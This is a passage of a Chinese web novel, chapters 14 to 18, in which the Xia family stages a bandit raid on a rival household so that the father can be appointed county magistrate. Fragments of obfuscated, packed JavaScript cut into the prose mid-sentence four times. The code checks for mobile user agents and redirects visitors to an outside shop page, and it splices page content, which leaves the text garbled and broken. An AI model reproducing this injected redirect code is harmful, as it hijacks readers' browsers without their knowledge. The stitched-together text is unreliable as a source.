0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14233827|149925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来的,心里反倒踏实。” “不愧是我教出来的女儿。”花月容的眼神骄傲。 母女俩正温情脉脉的对视,耳边就传来煞风景的‘咔嚓咔嚓’的啃梨的声音。 花月容的笑脸一下子就垮下来了。 “怎么啦?你们两个看我干嘛。”夏文轩弱弱的把梨放下。 花月容斜他一眼,都懒得说了。家里的三个孩子,是同一对爹妈,甚至是同一个学堂,同一个老师教出来的,但脾气秉性就是天差地别。 “行了,文轩你也别在家里待了,你去郊外农庄,和你大伯送来的人熟悉熟悉。这群人里面,有几个是夏家偏房的庶子,不是下人护卫,你相处的时候,注意拿捏分寸。明晚的行动,要是有分歧,以你妹妹的意见为主。” “哦,知道了。” 没有任何意见,夏文轩咬了一口梨,立刻起身就走。 看着儿子离开的背影,花月容才和夏文君说道:“昨日我又送了王夫人一副绣屏。若谋官的事能定下来,王夫人那里,还得送一份重礼。” 平时她也会送礼维护关系,只是没有送得这么勤。 “我们夏家如今已无人做官,只剩些民望。现在不送礼,过些年,有再多的钱也保不住。”夏文君淡定的说道:“若是母亲手头紧,我还能支援些。砸再多的钱,也要替父亲砸出个官身来。” “用不着你。若是钱不够,你大伯还有族中会支援。”花月容理所当然的说道:“等你父亲做了官,就能把钱捞回来,这买卖不亏。” 为了这个官位,花了那么多钱和精力,还冒了那么大的风险,要说自己这么干,是舍己为人,冲着造福当地百姓去的,那也不现实。 鱼肉百姓肯定是不可能的,但自己没好处的事,夏文君不至于冲那么前面。 所以花月容说捞钱,夏文君不仅没鄙夷的反驳,还跟着说道:“若是父亲成了仙河县的县令,我一定要让他在县中建一个敬字塔,劝大家把用过的纸,都送到敬字塔,让人代烧。这样我的造纸作坊,就可以不要成本了。” “你说的没错。有这样的便利,现在送出去的钱,赚个两年就能赚回来。” 可能是当过土匪了,这个速度对夏文君来说有点慢。 夏文君忽然灵机一动,说道:“到时候还可以官匪勾结。带着丁大壮他们去抢县中为富不仁的大族。” 花月容溺爱的掐了掐夏文君的脸,夸道:“我家孩子打小就聪明。” 15.第 15 章 平安郡内想做官的,也不只有夏家。只是各自想走的路子不同罢了。 就夏云林和夏文博父子俩那八卦的程度,城中的最新消息,都逃不过他俩的法眼。 一回到家,夏文博就紧张的说道:“听说刘家在山中发现了一只白鹿。在大皇子监国期间,发现祥瑞,刘家五郎是想去傍大皇子啊。” 夏云林也忍不住愁眉苦脸,“王大人是大皇子的人,听他的意思,他还想把这事大肆宣扬,替大皇子造势。我们这个时候去仙河县捣乱,是不是不合时宜?” “不合时宜?文轩和文君兄妹俩都已经出发,准备动手了。你们俩还搁这儿不合时宜?”花月容恨铁不成钢,伸手就朝自家男人的手背上狠狠的拍了一巴掌,给人手拍得通红。 “母亲,父亲说得也有一定的道理……” ‘啪啪’两声,夏文博也挨了两巴掌。 “父亲是有一定的道理,但还是母亲和妹妹考虑得更周全。”夏文博立刻改口。 “我们在前面冲,你俩别搁后面拖后腿。”花月容骂骂咧咧,“窝囊死你们父子俩算了,你俩还不如老二呢,老二是没脑子,但至少听话。你俩,我看着就来气。” 挨了巴掌,夏云林也老实了。 “听你们的,都听你们的。”夏云林讨好的笑笑,“我也没说不听啊,我这不是担心文君他们的安全嘛。” 花月容嫌弃道:“就你是亲爹?难道我就不担心?” 她一共才生三个孩子,如今两个孩子都在外头,干的还高风险的买卖,她也担心啊。 到了晚上,花月容翻来覆去,根本睡不着。 夏云林也睡不着,夫妻两个就裹着被子,坐在床上,面对面叹气,互相安慰。 “今天晚上月色明亮,文君看日子也是真准,说今晚天象好,今晚月色就不错。” “其他人有雀蒙眼,文君和文轩可没有,真出了事,他俩摸黑应该也能跑掉。” “也是我功夫不行,不然我就去了,哪轮得到两个孩子……” 相比起来,亲自在现场指挥的夏文君和夏文轩两兄妹,反倒还轻松得多。 出发前,兄妹俩还有说有笑的。 “妹妹,看,我胳膊多肥。” 夏文轩炫耀完自己左胳膊的肌肉,又开始炫耀自己的右胳膊,两个胳膊都在使劲。 “真壮实。”夏文君给面子的捏了捏他的肌肉,安排道:“我把丁石头留给你。二哥你动手的时候,尽量少说话。大喊大叫的事情,让丁石头来。他说话,才是标准的银江郡口音。” “行,没问题。我会让其他人说话都注意。” 夏文轩本来都准备带人离开了,忽然想到了什么,就凑到夏文君耳边,说起了悄悄话。 “家里出来人,自是不用担心,肯定嘴严。你从山上带回来的那两个土匪,若是事情有变,一定要先宰了。外人不可信。” 听到这话,夏文君忍不住挑眉。 她就说,她绝对是这个家里最善良的那个。 “行了二哥,你放心,我心里有数。这些人我以后还有用。我承诺了他们,山上的老弱,我以后会接到庄子里去,给她们一个安定的生活。看在自己亲人的份上,赵猴子和丁石头也不会背叛。” 夏文轩砸吧了一下嘴,点了点头,没再多说什么。他只是忽然想起,就提醒一下。论靠谱,他平时可不如夏文君。 半夜三更的时候,万籁俱寂,这个点很少有人会在外面行走。 普通百姓营养不良,基本都有夜盲症,而且他们也没有什么夜间娱乐活动,早早就睡了。 这个时候还在外面晃悠的,都不是好人,比如夏文君他们。 “大当家的,狗叫得好大声。”赵猴子的声音有些紧张。 夜晚行动,太没有安全感了。平时他们打劫,都是在白天,这还是第一次晚上干活。 “狗叫就狗叫呗,你没听过狗叫啊?”夏文君踹了他一脚,小声吩咐道:“赶紧的,翻墙进去开门。” 仙河县在此之前还算平稳,有银江郡流民过来,那也是少数,还没嚣张到入室抢劫的地步,李家也没有加强守卫。 一百多个好手都冲进了李家,就李家那三十来号人,还是睡得脑子都晕圈了的那种,都不够塞牙缝。 敢在这个时候出声的李家人,都被丁大壮他们堵住嘴,绑到了院子里。 “大当家的,怎么处理?”丁大壮一边问,一边伸出手掌,放脖子上左右比划,无声的询问要不要杀了。 夏文君没有正面回答,而是先和赵猴子耳语了一番,才让他帮忙传话。 “大当家说了,钱粮要紧。若是李家愿意奉上买命钱,留他们一命也不是不行。大壮你把李家郎君拖下去拷问一番,若是逼问不出来他们藏金的地方,就宰了。” 形势摆在这儿,不用严刑逼问,听到赵猴子的话,李家人立刻舍财保命。 拿到钱,赵猴子依旧不满,把人暴打了一顿,“我们寨子上千号弟兄,这点钱够干什么的?你们肯定还有……” 直到把所有李家的郎君都打得没脾气了,丁大壮才装模作样的上去拉人。 “行了,别把人打死,坏了我们寨子的口碑。以后打劫别家的时候,就榨不出钱来了。” 如果把人全杀了,夏文君还怕吃瓜群众想歪,想到仇杀去。所以她虽然对李家动了手,但却留了他们一条命。 除了翻找李家藏金的地方花了点时间,其他时刻,大家的行动都非常迅速,从进门,到扛起粮食跑路,只花了不到二十分钟。 夏文君足够谨慎,但李家周围的百姓,比她更谨慎。 明明村里人都隐隐约约听到了,外头好像有动静,但没一个人敢半夜出来查看,都等到第二天天亮,才小心翼翼的开门打探情况。 看到李家的惨状,众人都忍不住吓一跳。 “哎哟,这是怎么了!怎么搞成这样。” “怪不得昨晚我家狗在叫,原来是出事了。” 大家手忙脚乱的帮忙救人,顺带探听情况。 李家大郎捂住肚子,气若游丝的说道:“报官。赶紧去报官。银江郡的叛军打过来了。一千多人呢,把我家的粮食和钱,都抢光了。” 他受惊过度,再加上天黑,根本就估摸不清夏文君带了多少人来。赵猴子说个数,他听完就信,没有一丝犹豫。 “来了这么大一股叛军,我们村也不安全啊!这可如何是好。” 听到这么个噩耗,村里也人人自危起来。连去城里报官,都是几个大小伙子护着村长去的。 出发前就做过各种预案,夏文君此行十分顺利。夏文轩也是一样,双方在别院里汇合的时候,神色都十分轻松。 “二哥你今日先带着人分批回家。我有些不放心丁大壮他们,得去山上看看。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14245164|149925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 夏文轩也不问夏文君去干什么,直接就干脆答应。 这次行动太成功,金银珠宝的大头被夏文君拿了,但剩下的粮食也有很多。 夏文君怕有了粮,丁大壮他们就飘了,想自己做老大。 不过夏文君这次倒是猜错了,飘倒是没飘,只是有些人的种地属性发作。 觉得这次抢的粮食很多,带回家的话,省着点吃,一年不会挨饿,有这些积累,明年就可以继续种地去。 在外面混,挣再多的钱粮,也比不上种地踏实。 这样想的人还不少,将近二十个。 遇上这样种田属性爆棚的,连夏文君都生出了一种无力感。 思维都不在一条线上,谈也谈不到一起去。知道队伍里有人想回家种地,夏文君拦都不带拦的。 “你们回吧。现在回去,过年是赶不上了,但明年春耕能赶上。种完一年地,虽然不知道是替谁种的,但好歹种地的瘾过了。” “大当家你要不跟我们一起走?听说现在郡城已经被叛军占了,狗官也都被杀死了,城里已经安定下来了。大当家你这么有本事,去银江郡,说不定还能搞个官当当。” 他们虽然想回家,但更想跟大当家一起回家,这样有安全感。 听到这话,夏文君还没说啥呢,赵猴子立刻反驳。 “大当家怎么可能回银江郡!” 夏家的好日子,赵猴子不敢说,他只说道:“银江郡都被叛军搜刮过一遍了,我们回去能捞到什么好处?要是留在这里,缺钱缺粮了,就去平安郡转一圈。这钱来得又快又轻松,大当家才不回去呢。” 夏文君瞪他一眼,“别胡说八道。你把打劫当什么了,这次行动看着简单,是因为李家是我精挑细选出来的对象。” “对对对,这次行动,多亏了大当家安排得当,足智多谋……”赵猴子狂拍马屁。 之前银江郡混乱不堪,大家手里没钱又没粮的时候,大家还能坚定的跟着夏文君混,搞得夏文君还感动了一下。 如今眼看着日子好过,以后不仅能吃饱饭,甚至能吃上肉了,却有人闹着想回家。 可能这就是饱暖思□□吧,生存危机没了,其他想法就冒出来了。夏文君心里感慨了两句,就大手笔的给了离开的人盘缠和粮食。 别看想走的都是想种地的老实人,但如果强留下来,带着怨气替她干活,关键时刻反水,杀伤力可就不一般了。 夏文君看得开,赵猴子却不行,等人走了,他就气哼哼的骂上了。 “孙九他们真走了!怎么就真走了呢,我以为他们说着玩的。” “你也想走?”夏文君淡定的说道:“他们要走,我懒得劝。脑子缺根弦的人,我说了他们也听不懂。但你比较机灵,我还是要劝你两句的。” “银江郡虽然是被叛军打下来了,但依旧群龙无首,谁都不服谁。怕朝廷的叛军打过来,他们还在到处搜刮粮食,想守着粮食和城池自保。叛军的上层都一片混乱,下层就更不用说了。大股势力都去了城里,但城外还有很多小股的人马,没人管束,他们想干嘛就干嘛。” “大当家的意思是,这地根本种不了。” “何止啊。孙九一行人能不能安全回去都不一定。” 说着说着,夏文君自己都觉得离谱,“这世道,已经沦落到,连老实人想种地都不行了。想想都觉得可笑。” 16.第 16 章 离开的孙九等人,听夏文君说话的口气,也知道想回去种地不容易,但心里就是抱有侥幸心理。 干了一辈子农民,干土匪就是心里没底。 有些事情,总得自己亲自试过才甘心。 把这群人送走,夏文君都不带犹豫了,立刻就准备回家,走之前,她就对丁大壮和赵猴子说道:“山上条件艰苦,委屈你们了。等年后,我就在仙河县买个庄子,让疤二娘她们能在山下落脚。” “不辛苦,不辛苦。山上有吃有喝的,也就住得差点,但我们都住习惯了,不算什么。” 夏文君拍了拍他俩的肩膀,郑重的说道:“行,那山上的事务,我就交给你们了。等年后,我再来。” 山上的人,夏文君也就带他们抢了李家的粮食,让他们能填饱肚子,就不打算再管。 但自己养的人,那待遇可就不同了。 酒楼的张掌柜,知道他的孩子想读书,夏文君送的就是笔墨纸砚,还有小孩开蒙的书籍,造纸作坊的吴师傅,因为他改进纸浆的脱墨技术有功,夏文君送了他几间大瓦房,还把他家小女儿提拔到了身边…… 一直跟着她的王二,琉璃等人,年终待遇更是不用说,给钱都是最基础的。 自己亲手养大的家花,哪是外面的野花能比的。 赵猴子和丁大壮他们蹦跶得再凶,王二几人,也没把他们放在心上,一点都没有排挤的心思,甚至还在帮忙拉拢。 在他们心里,他们才是夏文君的心腹,得贴心的替夏文君分忧。 但因为夏文君会端水,赵猴子和丁大壮他们也是这么想的。其他人不知道夏文君的真实身份,就他俩知道。这不是信任是什么! 而且夏文君还说,跟他们是过命的交情,愿意帮他们养家小,不会让他们有后顾之忧。 老大做到这一步,简直是无可指摘。 和山上其他人比起来,他俩的待遇,绝对是夏文君的心腹。他俩坚信这点。 夏文君走的时候,丁大壮和赵猴子两人态度殷勤,送了夏文君老远,才返回山上睡大觉。 没人盯着,山上的人连着躺平了两天,除了吃就是睡。 “醒醒,醒醒,猴子哥,赶紧起来!有人来了。” “咋啦咋啦?”赵猴子抹了把脸,赶紧起床穿鞋,心虚的问道:“不会是珊瑚来了吧。还是大当家来了。丁大壮那憨货,没告我状吧。” 这段时间,又是踩点,又是熬夜干活,可把人累够呛。轮到丁大壮带人巡逻的时候,赵猴子也没带人做日常训练,直接躲懒,闷头就睡了。 “不是,是孙九他们回来了,还带了几十个人回来。大壮哥拦着没让上山,正在盘问,让你一起去商量怎么处理这事儿。”小弟赶紧汇报情况。 “就这么个事儿啊。我还以为有官兵打来了呢。”赵猴子嫌弃的说道:“不是说种地吗?怎么还回来了呢。还专挑大当家不在的时候回来。” 赵猴子骂骂咧咧。他跟丁大壮也不是能做这种主的人啊。 山上多养那么多人,是要粮食的。 费尽心思给大家弄钱粮的大财主,是夏文君。山寨人员的变动,得夏文君点头才行。 赵猴子带着人冲到山下的时候,立刻就对孙九劈头盖脸的骂了起来。 “你说你们,不是没事找事吗?山上日子过得好好的,你们非要闹着回去种地。发现不能回去种地了,又想回寨子,回来就算了,还带这么多人,你把我们寨子当什么了?” 孙九老实巴交的低头,任由赵猴子骂。好不容易等到了他骂人的空隙,才可怜兮兮的替自己解释。 “我只是想回去种地而已。没想死。前面走不了,我就回来了嘛。” 深刻的反省完,孙九就讨好的表示:“我们走的时候,带了不少粮食走。回来的时候粮食没了,但我们带人回来了。无论是抢钱粮还是抢人上山,都算功劳,我们应该可以将功补过吧。” “你也不看看你带的都是些什么人。一个个瘦骨伶仃的,能干什么?”如今日子过好了,丁大壮也挑上了。 新来的这几十个人,被挑剔了也不敢说什么。都眼巴巴的看着丁大壮,企图被收留。 这都是些饿急眼了,被孙九他们忽悠着来的。 人都带来了,赵猴子只能说道:“先把来人都绑起来。然后再去仙河县,找珊瑚说一说这事儿,让珊瑚去找大当家汇报。” 听到要被绑,新来的人先是骚动了一下,但被孙九几人安抚了几句,就老实的伸手,十分配合。 绑完人,孙九几个就自然的想跟着一起上山。 “慌什么?你们也给我把手伸出来。” “绑我?”孙九指了指自己,不敢置信的说道:“我自己人!” “绑不绑?不绑不给你上山了。” 孙九立刻伸出双手,“绑。” 离开过寨子一次,终究是他理亏。回来的时候,低人一头,他也认。 回家的决定虽然是自己做的,但他还是忍不住委屈。上山之后,被之前的老朋友们围住的时候,他就开始大吐苦水。 “也不知道是哪个龟儿子说的,说银江郡现在是乱民的天下了,我心里一寻思,我们不就是乱民吗?“ 一群人忍不住点头,对自己乱臣贼子的身份,有清晰的认知。 “我想着,大家都是自己人,我回去应该没人拦吧。谁知道还没走多远,就遇到一拨拦路的,粮食被抢了就算了,要不是我们跟大当家练过,估计小命也得交代在那儿,当时我们就想回寨子了……” 世上无难事,只要肯放弃。 粮食被抢光,小命都难保的时候。孙九一行人,也不惦记种地了。脑子里就只想着活命。 夏文君算是很大气的人了,他们要走,还按照份额给他们分了粮食。如今他们把自己的口粮给祸祸没了,舔着脸回去白吃白喝,他们不仅自己心虚,也怕其他人有意见。 几个人一合计,想到夏文君以前说的,抓到俘虏有奖励,立刻就决定,将功赎罪,给夏文君带人来,弥补自己带走丢失的粮食。 孙九他们带回来的俘虏,赵猴子也挨个审过,确实如孙九所说,身份没什么问题。 “那现在去仙河县找珊瑚的事,谁去啊?”丁大壮提议道:“要不你去吧。” “凭什么我去?你去!” 两人对视一眼,都看出来对方眼神里的紧张。 刚去仙河县干了坏事,现在自投罗网,搁谁都怂啊。 在他们原本的计划里,他们是不用下山的,就安心在山上过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14253139|149925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年就好。 山下的情报,由珊瑚亲自盯。万一出现什么剿匪的意外情况,珊瑚能及时上山,通知他们转移阵地。 “那咱们一起去?” “好,就一起。” 一个人进城,实在害怕。还是得两个人一起壮胆。 两个人特意换了身斯文的衣服,把自己收拾得人模狗样,才往仙河县的县城走。 跟着夏文君抢李家的时候,他俩狐假虎威,嚣张得不行。但在路上听到大家议论张家李家被抢的事,他俩反倒老实了,低眉顺眼的听着。 “那群土匪实在是嚣张。不仅抢了李家的粮食,还血洗了李家!李家现在可惨了。” “啊?血洗?”丁大壮忍不住发声,“不可能吧?” 他们也没下狠手啊。 “怎么不可能。你这小后生,还是见识太少了。银江郡出来的,都是杀人放火不眨眼的狠人,都把朝廷命官挫骨扬灰了,你还指望他们对普通人手下留情?” “现在我这心里啊,提心吊胆的。就怕哪天半夜,村里被那群土匪给洗劫了,索性直接带着家小来城里投奔亲戚,躲一阵子。” “因为这事,程县令都吓病了。” “啊?吓病了?”丁大壮再次出声,“这不可能吧。” “这有什么不可能的。银江郡的官员,被叛军都弄死完了。程县令能不害怕吗?” 丁大壮惊讶的捂嘴,他们也没干啥啊。就下山抢了点钱粮,准备过个好年,事情怎么就能闹这么大呢。 被吹嘘叛军的八卦捧迷糊了,这下丁大壮也不怕了。 等到身边没有外人,只剩赵猴子的时候,丁大壮就忍不住兴奋的问道:“猴子,你说大当家有没有可能,真带我们去把县城打下来!” “你疯了吧。”赵猴子一脸震惊,“我们寨子才多少人啊。人家程县令,怕的根本不是我们,怕的是银江郡的叛军主力。我们纯属是沾了个光而已。” “我想一下还不行吗?”丁大壮小声嘟囔。 他们原本是想去找珊瑚,但正巧,夏文君也在仙河县这里办事。 因为流窜的叛军,仙河县的土地价格,达到了近三十年的最低谷,还有成片的土地卖,夏文君觉得价格合适,就过来看地买地了。 “还有几天就过年了,大当……咳咳,六娘子您也太忙了吧。” “闲着也是闲着。总得找点事情来做。”夏文君放下手中的账本,问道:“不是不让你们随意进城吗?这次来,是有什么事?” 虽然干坏事的时候,大家都带了面罩,但谨慎起见,夏文君还是不太乐意在城里见山上的人。 “孙九他们回来了,还带了五十二个俘虏,男女老少都有。我们来问问您的意思,是留下还是赶走。” “老实的话,就都留下吧,以后有用。”夏文君抿了口茶,淡定的说道:“本来打算让你们过个好年,年后再通知你们的。但你俩既然都来了,那我就提前跟你们说了吧。过了正月十五,城里会出兵剿匪。” 听到这个消息,丁大壮和赵猴子两人,瞬间就汗流浃背,腿都软了。 夏文君瞄了一眼他俩头上的冷汗,呵斥道:“慌什么。是我父亲带队。” 听到这话,丁大壮两人的腰一下子就站直了。 17.第 17 章 丁大壮和赵猴子两人不太明白,剿匪的事怎么会是夏家的人去做,但看了眼气定神闲的夏文君,他俩也就不多问了。 大当家做事,自有她的道理,他们只管听着就行。 想到山上新来的俘虏,赵猴子试探的问道:“那群新来的俘虏,是不是养到正月十五,就正好推给剿匪的官兵,算是给剿匪的事情有个交代?” 丁大壮听了,不由自主的夸道:“这主意好。” “好什么好?乱出什么馊主意呢。”夏文君无语的把茶杯放下。 这行事作风,搞得他们寨子一点也不像什么好东西。 “银江郡乱象频出,人命不值钱。平安郡的人命还是值钱的,你俩知不知道,我买五十个人,要花多少钱?不当家不知柴米贵!” 把人训老实了,夏文君才把要求一条一条的说清楚,让这两人按要求办事。 说模棱两可的官话,让下属揣摩的事,夏文君是一点也不敢干。就怕说不清楚,山上的那群莽夫瞎搞。 到时候别说什么报答活命之恩,闯出祸事来,不把她供出来,就已经不错了。 “你们走的时候,山上的那些草棚子,别拆。有余力的话,再多搭一些窝棚,灶也再多搭几个,尽力营造出一种有上千人生活的痕迹……” “就留个空巢就行了吗?” “够了。寨子是在银江郡内,平安郡的官兵剿匪,不敢太过分。郡守大人虽然动用了正规军,也只是简单的表个态,不敢和银江郡硬碰硬的。真把银江郡的叛军招惹过来,别说县令吓到生病,郡守也得吓病。” 县衙虽然也有武装力量,但满打满算,也就四五百人,面对‘上千人’的流寇,也只能向郡城求助。 王大人急着向朝廷献祥瑞,想赶紧把事情平息下来,营造平安郡祥和的氛围,立刻就帮忙调了三千的驻军。 只是现在大过年的,见血不太好,要动手,也得年后去了。 银江郡的叛军太过凶狠,仙河县的程县令原本就打算走关系,调到郡城。抢劫的事情一出,他立刻就急上火,又急又怕,给自己折腾病了。病得还很严重,不得不退位。 他这一退,打点到位的夏云林,可不就上位了吗? 做了那么久的前期准备工作,又是搞舆论,又是送钱送礼,夏云林这个县令,拿下得很轻松。 六品以上的官员,才需要皇帝亲自任命。县令的官职,推举就能上位,不用等朝廷的任命,夏云林在王大人的支持下,就能暂代县令的职务。 等年后朝廷正式的通知下来,夏云林就是真正的县令。 “都说上品无寒门,下品无士族,这县令的职位,和我夏家的门第也匹配。只可惜,当年我祖父可是正四品的通议大夫。” 突然出息了一点,夏云林忍不住就开始回忆往昔了。 花月容给丈夫面子,撇嘴没说啥,夏文君直接拆台。 “得了吧,那都是先帝时期的事了。先帝科考选材,有意提拔寒门,打压士族,曾祖父才能爬到四品。这些年,寒门子弟想做官都难,您做个县令都废了老大的劲了,能一起比吗?” 说的这个,夏云林也无奈,“当年先帝提出科考取才的时候,寒门子弟谁不欢呼雀跃。谁知道后面世家豪族一逼迫,先帝就让出了七成的名额,上榜的寒门子弟只能占三成。本想着,有三成的名额也行,谁知道如今上榜的寒门子弟连一成都占不了,有时候还好几年不科考。如今这都几年没科举选才了。” “寒心啊,真真的心寒,不是大吵大闹……”夏文君听了都忍不住摇头。 夏文君只是调侃一下,夏云林就跟找到了知己似的,拉住夏文君的手,一脸感同身受的说道:“没错,就是寒心!我们这心啊,拔凉拔凉的。” 一边说,他还一边拍胸口,感觉都快委屈得飙泪了。 花月容看不下去,把丈夫从女儿身边扯开,提醒道:“你寒什么心?你读书练武还比不过女儿呢,有考试你也上不了。你自己又不是没去京都考过。” “我本来就不是读书的那块料。”夏云林勇于承认自己的错误。 但反省是不可能的,他理直气壮的说道:“我是有问题,但朝廷的问题更大。这考试到现在,根本就没有公平可言,题是世家子弟出的,卷子是世家子弟批阅的。他们阅卷,自然是优先录取自己的亲戚朋友,不是亲的,名满天下的才子也不行。” 他当年考试的时候,同届就有个惊才艳艳的年轻人,写出的诗篇,天下流传,结果居然没考上。考官说他太年轻,不稳重,还得再打磨几年。 那样的才华,也考了三次,才中榜做官,如今官位也不高。 夏云林当时就明白了,自己这样的,肯定上不了岸了。他就指望着,自己生几个貌美又有才华的好儿子,成为潜力股,被大家族的人看中,然后嫁女儿扶持…… 谁知道,儿子没生好,只有女儿貌美又有才华,官也不是儿子当的,是自己当的。还真是世事无常。 夏云林很有自知之明的说道:“我这资质,能搞个县令当当,也算是到头了。想要恢复祖上的荣光,估计得靠孙子了。” “父亲!与其指望别人,不如指望自己。先把自己做到最好,再去渴求命运的馈赠吧。”夏文君忍不住提醒 夏云林满脸无奈,“知道啦知道啦。” 自家小女儿,从小就长得玉雪可爱,但自从她开始启蒙读书,就没人爱往她跟前凑了。 两个亲哥哥没事也不爱往她跟前凑。 一个努力又自律的人,给身边人那无形的压力可太大了。 夏云林本来觉得自己都可以躺平养老了,在夏文君的推动下,硬是把出门听八卦,变成了出门交际,把书画的爱好,变成了特长。当年他亲爹拿棍子揍,都没这效果。 这几日官员都放假,元正前后各放三日,总共七日假,夏云林就算新官上任,也至于在过年期间放火,去折 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14262830|149925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腾县衙值班的官吏。 低调的过完了年,夏云林才带着一家子去仙河县上任,准备着手处理剿匪的事。 明面上,仙河县的县令如今是个烫手山芋,夏家的人也不敢表现得太欢快,作为族长的大伯,过年不仅没怎么笑,还一副愁眉苦脸,担心弟弟冒头会出事的模样。 在郡城不敢招摇,到了仙河县,夏文君就不低调了。 刚到府衙后院,还没收拾好行李,夏文君和花月容两个,就给县里有名气的人家下了帖子,请各家夫人来喝茶。 虽说是宴客,但面对那些客人的时候,夏文君母女俩,都愁眉苦脸,强颜欢笑。 “让诸位夫人见笑了,家中事务繁杂,郎君又惦记着流寇的事情,这个年过得实在不安生。” 花月容捅了一刀,夏文君又接着补刀,“也不知过年这几天,山上的土匪可有再杀人?我们昨日才到县城,消息实在不灵通。” 来赴宴的夫人们,本来就忧心这个,听她俩这么说,脸上客套的笑容也挂不住了,开始诉起了苦。 “这几日土匪倒是没下山了,但这不是过年嘛!谁知道他们过完了年,什么时候下山。” “怕招了那伙流寇的眼,今年家中祭祖也没敢大办。族中还安排了年轻后生日日巡逻,不敢有一丝松懈。” “可不是嘛,我们倒是住在城中,可老宅还在乡下呢,祠堂也在乡下。” 大家族的根基都在土地和粮食上,乡下都有农庄或别院,哪怕下山的流寇抢不到粮食,没占到什么便宜,放一把火,那损失也够让大家心疼的。 怕自家遭灾,各位夫人都跟花月容打听起了剿匪的进度。 “郡守是说了,要安排三千兵马去剿匪。但如今土匪的寨子在哪儿,我们都还摸不着头脑,也不知你们可有线索?若是让带兵的将军白跑一趟,下次还想请郡守出兵,那可就不好开口了。如今时间紧急,还望大家同心协力,一同度过这个难关。” 花月容说完,夏文君就一脸不好意思的描补道:“诸位夫人也都知道,前头程县令病重,很多事情都耽搁了下来。我父亲昨日才来,有些事情还没上手呢。” 县令生病当了缩头乌龟,县衙又放年假,解决流寇的事情就一直往后拖,有人愿意办事,那可再好不过了。 大家七嘴八舌的,就开始说起了土匪行踪的线索,巴不得官兵能直捣黄龙,一举将流寇全部拿下。 群众的力量是巨大的,一群人交换完信息,就找出了五个可疑的地点,其中一个就是丁大壮他们藏身的地方,正确率还挺高。 面对诸位热心群众,夏文君也很上道。 她骄傲的表示,“银江郡的叛军,我跟父亲都见识过,没什么好怕的。等出兵剿匪的时候,我父还会亲去,定能斩下匪首,让贼人见识到我们平安郡的厉害。” 结果怎么样不重要,反正态度得积极。 这可是未来的财神爷们,可不能让人寒心。 18.第 18 章 如今的仙河县,剿匪的重要性排在第一。 夏云林这个新上任的县令,非常有责任心,其他的都没管,一来就带着人去查那群流寇的踪迹。 县里能用的衙役少,夏云林就张口跟各大家族借人。 诸位夫人去夏家做客的时候,夏文君母女俩都已经明示暗示了,需要大家同心协力。 想着有正规军在前面挡着,自家的人在后面掠阵,应该不会有什么问题,能借人的家族,都借了。 凑一凑,夏云林手里,就凑够了将近一千人。等郡守安排的军队一来,他就冲在前面带路,给领头的何将军介绍情况。 “何将军,据县内百姓的提供的线索,在仙河县内作乱的流寇,有两伙,一伙在燕子山,一伙在小平山。此次剿匪,我会带着县内的衙役,给何将军助阵。” 丁大壮他们原先住在小平山,如今已经转移阵地。但据珊瑚所说,燕子山前几天来了一波新的流寇,双方碰了个头,但没打起来。 知道夏云林会带人剿匪,丁大壮就进起了谗言,说新来的那波流寇,看起来不像好人,希望夏云林能帮忙收拾了。 本来就是顺手的事,夏文君立刻就把燕子山的流寇加入猎杀名单。 整整四千人的队伍,带出去还挺气派。 夏文君兄妹三人,都骑着马,跟着后面看热闹。 他们三个年纪还小,别人都当他们是跟着大人出来见世面的,郡城来的何将军就只和夏云林说话,根本就不管他们。 夏文君冷眼打量着郡守派出来的驻军,总觉得他们对不起正规军的称号。纪律松散就算了,队伍里还有白胡子的人,也不知道年龄有没有超标。 不止夏文君看不上眼,夏文轩也看不上眼,偷偷和夏文君嘀咕领头的何将军。 “那何将军脚步虚浮,声音无力,都虚成这样了,还做将军呢。人不行就算了,带兵还不怎么样,手下带的兵,我都不想说,山上要真有上千的叛军,能把他带的人打得满头包。一天天的,尽琢磨怎么吃空饷去了吧。” 大哥夏文博挡住嘴,小声分享情报,“二弟说得没错,何将军还真是青楼的常客,他跟百花楼的花魁,最近打得火热。可惜了那花魁,长得千娇百媚的……” 话音未落,他就被弟弟妹妹一人捶了一下。猝不及防,夏文博被捶得‘嗷~’的一声,痛得捂住胸口。 夏文轩是脸红害羞的捶的,夏文君则是恨铁不成钢。 本来就文不行,武也不行,不太好说亲,再去逛青楼,花月容得为他的亲事愁死。 